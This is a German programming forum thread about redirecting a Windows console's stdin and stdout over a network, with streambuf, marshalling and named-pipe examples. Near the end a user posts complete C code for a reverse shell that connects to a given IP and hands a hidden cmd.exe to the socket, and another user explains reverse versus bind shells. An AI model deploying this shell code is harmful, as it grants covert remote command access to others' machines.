Lokale HANDLE´s auch im Netzwerk verwendbar?

kernel64

in C++ würde ich mir einen network_streambuf bauen und an cout anklinken

Meinste sowas wie in deinem letzten Thread?

class split_buf:public streambuf
{
public:
  streambuf *first,*second;
  split_buf(streambuf*f,streambuf*s);
  //alle Ausgabefunktionen schicken die Daten an first UND second
};

ofstream log("log.txt");
split_buf buf(cout.rdbuf(),log.rdbuf());
streambuf* oldcout=cout.rdbuf(&buf);
...
cout<<"Hallo"<<endl;
...
//sicher ist sicher - alten Status zurücksetzen
cout.rdbuf(oldcout);

hustbaer

Du kannst HANDLEs garnicht übers Netz versenden und auch nicht rüber-marshallen.
Du kannst nur Daten übers Netz versenden.

Undertaker

hustbaer schrieb:

...rüber-marshallen...

was heisst denn das

CStoll

kernel64 schrieb:

in C++ würde ich mir einen network_streambuf bauen und an cout anklinken

Meinste sowas wie in deinem letzten Thread?

So in der Art - allerdings war das Ding da für einen anderen Zweck konstuiert.

kernel64

in C++ würde ich mir einen network_streambuf bauen und an cout anklinken

Wie würde die Funktion aussehen?

hustbaer

Undertaker schrieb:

hustbaer schrieb:

...rüber-marshallen...

was heisst denn das

http://en.wikipedia.org/wiki/Marshalling

Die Beschreibung ist nicht besonders gut, aber im Prinzip nicht falsch.

Der Begriff kommt AFAIK aus der COM Welt, und genau daher kenne ich ihn auch.

Im Prinzip geht es darum Daten oder auch Interface-Pointer in einen Byte-Stream zu verpacken (marshal) und irgendwoanders wieder aus dem Byte-Stream zu rekonstuieren (unmarshal).
Der Unterschied zu serialisieren ist dass man damit auch Interface-Pointer "verschicken" kann, und das sogar übers Netzwerk auf andere Computer.
Das Objekt welches das Interface bereitstellt verbleibt dabei wo es ist, und wenn auf dem ge-unmarshal-ten (hihi) Interface-Pointer eine Methode aufgerufen wird, so wird diese z.B. mittels RPC auf dem original Objekt ausgeführt. Das Ergebnis wird dann wieder mittels marshalling zu dem Computer/Prozess übertragen wo der Methodenaufruf initiiert wurde.
Man bekommt also sozusagen ein "live" Interface auf ein Objekt welches ganz woanders lebt.

Würde man den Interface-Pointer einfach nur Byte für Byte übertragen und auf der Gegenseite wieder zusammenbauen würde das natürlich nicht funktionieren.

Für HANDLEs (also die von KERNEL32) gibts es allerdings keinen mir bekannten Weg das hinzubekommen. Muss man sich also selbst was basteln, irgendeine Art Proxy, oder eben (wenn das reicht) einfach einen Socket/eine Pipe verwenden.

kernel64

Muss man sich also selbst was basteln, irgendeine Art Proxy, oder eben (wenn das reicht) einfach einen Socket/eine Pipe verwenden.

Das war ja schon ganze Zeit meine Idee, nur wie bekommt man die Daten STDOUT/STDIN gesendet es ist ja nur ein HANDLE, man müsste es in ein Datenformat speichern und dann mit send() zum Client senden, dieser müsste dann die STDOUT auf der Konsole anzeigen.

Das beste lauffähige Beispiel welches die STDOUT & STDIN in eine andere Konsole umleitet ist folgendes: http://support.microsoft.com/kb/190351/en-us
Die Redirect.c startet den Client Prozess Child.EXE (diesen kann man z.B. ändern in cmd.exe).
Das Programm funktioniert wunderbar aber nur Lokal !!!
Man müsste zwischen den Prozessen die Pipe unterbrechen durch eine LAN Verbindung mit Sockets doch ist diese Vorgehensweise richtig und wie geht man vor?

Badestrand

Also willst du im Klartext, dass du auf einem PC Daten schreibst (in einen Stream oder whatever) und die auf dem anderen PC auf der Konsole ausgeführt werden? Oder wie?

Undertaker

kernel64 schrieb:

Das Programm funktioniert wunderbar aber nur Lokal !!!
Man müsste zwischen den Prozessen die Pipe unterbrechen durch eine LAN Verbindung mit Sockets doch ist diese Vorgehensweise richtig und wie geht man vor?

ersetz die pipes durch sogenannte 'named pipes'. selbige sind netzwerkfähig (zumindest in einem windows-LAN).

hustbaer

@kernel64: wenn du damit leben kannst dass du einen neuen Prozess startest der eben einfach "umgelenkte" stdin/stdout Handles hat ist das Beispiel ja OK.

Ich weiss nicht ob man diese Pipes direkt auf einen anderen PC verbinden kann, aber ich denke es müsste schon gehen. Falls doch nicht bleibt dir immernoch die Möglichkeit die Pipes im "Mutterprozess" auszulesen und die Daten dann wie-auch-immer (wieder über Pipes oder über Sockets oder ...) an einen anderen PC zu schicken. Dasselbe natürlich auch in der Gegenrichtung.

kernel64

Mein Ziel ist es folgendes Programm im Netzwerk zu starten, es ist nix besonderes nur ein Beispiel:

void prompt()
{
    cout << ":>>";
}
int main ()
{
    string input;

    do{
        prompt();

        getline(cin, input);
        if(input == "exit")
        {
            return 0;
        }
        else if(input == "dir")
        {
            system("dir");
        }
        //...

    }while(1);

    return 0;
}

Wie man sieht wird hier die STDOUT und STDIN (getline) verwendet, d.h. man müsste diese per Sockets hin und her schicken.

ersetz die pipes durch sogenannte 'named pipes'. selbige sind netzwerkfähig (zumindest in einem windows-LAN).

Das stimmt, aber wie bekomme ich nun Zugriff auf die STDOUT, ich weiß nicht wie diese mit Named Pipes erstelle?

Habe ein Beispiel Code zu Named-Pipes:

Server Pipe:

/*
 * http://www.codersource.net/win32_createnamedpipe.html
 *
 */

#include <windows.h>
#include <stdio.h>
#define BUFSIZE 1024
#define PIPE_TIMEOUT 5000

int main()
{

	BOOL fConnected;
	LPTSTR lpszPipename = "\\\\.\\pipe\\SamplePipe";
	CHAR chRequest[BUFSIZE];
	DWORD cbBytesRead;
	BOOL fSuccess;
	HANDLE hPipe;

	hPipe = CreateNamedPipe ( lpszPipename,
		PIPE_ACCESS_DUPLEX, // read/write access
		PIPE_TYPE_MESSAGE | // message type pipe
		PIPE_READMODE_MESSAGE | // message-read mode
		PIPE_WAIT, // blocking mode
		PIPE_UNLIMITED_INSTANCES, // max. instances
		BUFSIZE, // output buffer size
		BUFSIZE, // input buffer size
		PIPE_TIMEOUT, // client time-out
		NULL); // no security attribute

	if (hPipe == INVALID_HANDLE_VALUE)
		return true;

	for (;;)
	{
		// Trying connectnamedpipe in sample for CreateNamedPipe
		// Wait for the client to connect; if it succeeds,
		// the function returns a nonzero value. If the function returns
		// zero, GetLastError returns ERROR_PIPE_CONNECTED.

		fConnected = ConnectNamedPipe(hPipe, NULL) ?
TRUE : (GetLastError() == ERROR_PIPE_CONNECTED);

		if (fConnected)
		{
			fSuccess = ReadFile (hPipe, // handle to pipe
				chRequest, // buffer to receive data
				BUFSIZE, // size of buffer
				&cbBytesRead, // number of bytes read
				NULL); // not overlapped I/O

			chRequest[cbBytesRead] = '\0';
			printf("Data Received: %s\n",chRequest);

			if (! fSuccess || cbBytesRead == 0)
				break;

			//FlushFileBuffers(hPipe);
			//DisconnectNamedPipe(hPipe);
		}
		else
			// The client could not connect in the CreateNamedPipe sample, so close the pipe.
			CloseHandle(hPipe);
	}
	CloseHandle(hPipe);
	return 1;

}

//End of sample using CreateNamedPipe

Client Pipe:

/*
 * http://www.codersource.net/win32_named_pipe_client.html
 *
 */

#include <windows.h>
#include <stdio.h>
#include <string>
#include <iostream>
#define BUFSIZE 1024
#define PIPE_TIMEOUT 5000

using namespace std;

int main()
{
	string input;
	HANDLE hFile;
	BOOL flg;
	DWORD dwWrite;
	char szPipeUpdate[200];
	hFile = CreateFile("\\\\.\\pipe\\SamplePipe", GENERIC_WRITE,
		0, NULL, OPEN_EXISTING,
		0, NULL);

	strcpy(szPipeUpdate,"Data from Named Pipe client for createnamedpipe");
	if(hFile == INVALID_HANDLE_VALUE)
	{
		printf("CreateFile failed for Named Pipe client\n" );
	}
	else
	{
		for(;;)
		{
			cout << "Eingabe:";
			getline(cin,input);
			input += '\0';
			flg = WriteFile(hFile, input.c_str(), input.length(), &dwWrite, NULL);
			if (FALSE == flg)
			{
				printf("WriteFile failed for Named Pipe client\n");
			}
			else
			{
				printf("WriteFile succeeded for Named Pipe client\n");
			}
		}
		CloseHandle(hFile);
	}

}

Jetzt habe ich ein Beispiel zu Named Pipes, doch wie bekommt man nun den Zugriff auf die einzelnen STDOUT/-IN `?

Den Socket Teil mit der Netzwerkprogrammierung kriege ich schon hin, nur ich weiß nicht wie hier weiter anfangen soll, einfach die STDOUT des Programms zum Client senden und diese dann dort darstellen.

Bitte um Hilfe.

[EDIT]
Im folgendem Link steht einiges über Pipes:
http://www.nt.fh-koeln.de/fachgebiete/inf/diplom/proc_sync/3/3.7.html

Hier eine Erklärung aus dem Inhalt:

Soll ein Kind-Prozess die Handles einer unbenannten Pipe erben so benötigt man eine SECURITY_ATTRIBUTES-Struktur, da der Standard Sicherheitsdeskriptor eine Vererbung der Pipe-Handles nicht zuläßt.

Beispiel für die Verwendung einer SECURITY_ATTRIBUTES-Struktur damit die Pipe-Handles vererbt werden können:

SECURITY ATTRIBUTES sec;
sec.nLength = sizeof( SECURITY ATTRIBUTES );
sec.lpSecurityDescriptor = NULL;
sec.bInheritHandle = TRUE;
CreatePipe ( &hRead, &hWrite, &sec, 0 );

Wie wendet man das mit Named Pipes an?

ScriptGod

wenns es nur darum geht, eine Konsole sprich stdin und stdout über das Netzwerk zu kontrollieren, geht das in Windows auch ohne Pipes. Normale sockets lassen sich dazu direkt verwenden.

1. einen Socket mit WSASocket erzeugen (nicht mit socket!)
2. WSAConnect bzw. WSAAceppt um einen Verbindung zu bekommen
3. diesen Socket dann bei CreateProcess als StdHandle(s) angeben and bInheritHandles auf TRUE setzen

den Rest erledigt Windows, per Hand kannst du das wie schon erwähnt über Pipes oder auch per Sockets machen

einen Socket mit WSASocket erzeugen (nicht mit socket!)

Warum?

Womöglich wird er sonst von windows nicht als HANDLE anerkannt oder etwas in der art.

ScriptGod

frag Microsoft
im Kernel werden Sockest, die mit socket erzeugt wurden und solche, die über WSASocket erzeugt wurden, anderst behandelt - sprich WSASockets können auch über die Standard-Datei funktionen ReadFile und WriteFile genutzt werden, sockets nicht.

Ah danke. Ich glaube es liegt daran das die Funktion 'socket' den Socket mit WSA_FLAG_OVERLAPPED erstellt und so funktionieren wahrscheinlich nur Overlapped ReadFile aufrufe.

kernel64

wenns es nur darum geht, eine Konsole sprich stdin und stdout über das Netzwerk zu kontrollieren, geht das in Windows auch ohne Pipes. Normale sockets lassen sich dazu direkt verwenden.

1. einen Socket mit WSASocket erzeugen (nicht mit socket!)
2. WSAConnect bzw. WSAAceppt um einen Verbindung zu bekommen
3. diesen Socket dann bei CreateProcess als StdHandle(s) angeben and bInheritHandles auf TRUE setzen

Danke, habe einiges zum Thema WSASocket bei google gesucht und etwas gefunden was ich schon die ganze Zeit suche. Es handelt sich nicht um Remote Shell sondern Reverse Shell(kennt jemand den Unterschied?)

Habe hier ein Beispiel Code einer Reverse Shell die cmd startet:

#include <winsock2.h>
#include <stdio.h>
#include <winsock.h>
#include <stdlib.h>

#define RCVBUFSIZE 32

void main(int argc,char *argv[])
{
	//Declaring the vars
    int sock;
    struct sockaddr_in cbAddr;
    unsigned short cbPort;
    char *cbIp;
    WSADATA wsaData;
	STARTUPINFO si;
	PROCESS_INFORMATION pi={0};
	char comspec[MAX_PATH];

//parsing arguments to the corresponding vars.
	cbIp = argv[1];
	cbPort = atoi(argv[2]);

//starting up wsa
    if (WSAStartup(MAKEWORD(2, 0), &wsaData) != 0)
    {
        printf("WSAStartup() failed");
        exit(1);
    }
//Make shure it's WSASocket()
    if ((sock = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,0,0,0)) < 0)
	{
        printf("Socket Failed\n");
		WSACleanup();
		exit(1);
	}

//filling the struct
    memset(&cbAddr, 0, sizeof(cbAddr));
    cbAddr.sin_family      = AF_INET;
    cbAddr.sin_addr.s_addr = inet_addr(cbIp);
    cbAddr.sin_port        = htons(cbPort);

	// Establish the connection to the echo server
    if (connect(sock, (struct sockaddr *) &cbAddr, sizeof(cbAddr)) < 0)
	{
        printf("connect() failed\n");
		closesocket(sock);
		WSACleanup();
		exit(1);
	}
//Setting up the startupinfo etc to make shure cmd get's a both way traffic
		memset(&si,0,sizeof(si));
		GetStartupInfo(&si);
		si.cb = sizeof(si);
		si.dwFlags = STARTF_USESTDHANDLES | STARTF_USESHOWWINDOW;
		si.wShowWindow = SW_HIDE;
		si.hStdInput = (HANDLE)sock;
		si.hStdOutput = (HANDLE)sock;
		si.hStdError =(HANDLE)sock;
//getting cmd.exe a bit more fancier then hardcoding it.
		if(GetEnvironmentVariable("COMSPEC", comspec, MAX_PATH) == 0)
		{
			printf("Environment var failed\n");
			closesocket(sock);
			exit(1);
		}
		if(!CreateProcess(NULL,comspec, NULL, NULL, TRUE, CREATE_NEW_CONSOLE, 0, NULL, &si, &pi)) //CREATE_NO_WINDOW
		{
			printf("process creation failed\n");
			closesocket(sock);
			CloseHandle(pi.hProcess);
			CloseHandle(pi.hThread);
		}

		WaitForSingleObject(pi.hProcess, INFINITE);
		CloseHandle(pi.hProcess);
		CloseHandle(pi.hThread);
		closesocket(sock);
}

Wie funktioniert nun der Code also die STDIN/-OUT über Sockets könnt ihr mir bitte was dazu sagen.

Wie sieht nun ein Client aus der mit der Reverse Shell kommunizieren kann?

ScriptGod

imho heißt das Reverse Shell da der Rechner, der die Shell bereitstellt, auf den Recher, der kontrolliert, connected - anderst herum bind shell. Wobei die Begriffe wohl eher bei exploits etc. gebräuchlich sind.

Für den Client brauchst du eigentlich einen klassichen Server
1. socket erzeugen
2. bind
3. accept
4. go

kernel64

So wirklich habe ich den Unterschied zwischen einer Reverse- Remote Shell nicht verstanden, vielleicht kann mir jemand es nochmal erklären.

Ich habe folgendes vor:

- Der Server läuft die ganze Zeit und wartet auf einen Client.
- Der Client verbindet sich mit dem Server, welcher dann die Authentifizierung startet
- Die STDOUT von der Shell wird zum Client übermittelt
- Der Client kann nun Befehle in der Konsole eingeben welche per STDIN zum Server übergeben werden.

Würde der Code oben nun als so ein Server funktionieren?

Badestrand

kernel64 schrieb:

So wirklich habe ich den Unterschied zwischen einer Reverse- Remote Shell nicht verstanden, vielleicht kann mir jemand es nochmal erklären.

Wenn ich ScriptGod richtig verstanden habe, besteht der Unterschied darin, wer die Verbindung eröffnet. Bei der Reverse-Shell verbindet sich der Shell-Rechner zu dem anderen, bei der Remote-Shell verbindet sich der andere zum Rechner, wo die Shell-Befehle ausgeführt werden soll.